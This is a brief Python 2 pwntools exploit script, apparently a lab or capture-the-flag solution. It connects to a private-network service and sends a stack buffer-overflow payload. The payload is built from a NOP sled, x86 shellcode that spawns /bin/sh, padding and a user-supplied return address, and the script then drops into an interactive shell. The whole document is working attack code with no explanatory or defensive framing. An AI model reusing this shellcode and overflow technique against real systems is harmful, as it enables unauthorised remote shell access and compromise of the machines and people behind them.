from pwn import *
import struct

p = remote('192.168.32.129', 1234)
print p.recvline()
a = lambda a: struct.pack("I",a)
eip = int(raw_input(),16)

exploit = ""
exploit += "\x90"*10
exploit += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x4b\x2c\x40\xcd\x80"
exploit += "A"*93
exploit += "\xa5\x31\x5a\x47\x55\x15\x50\x40"
exploit += "AAAAAABBBBBB"
exploit += a(eip)
p.sendline(exploit)

p.interactive()
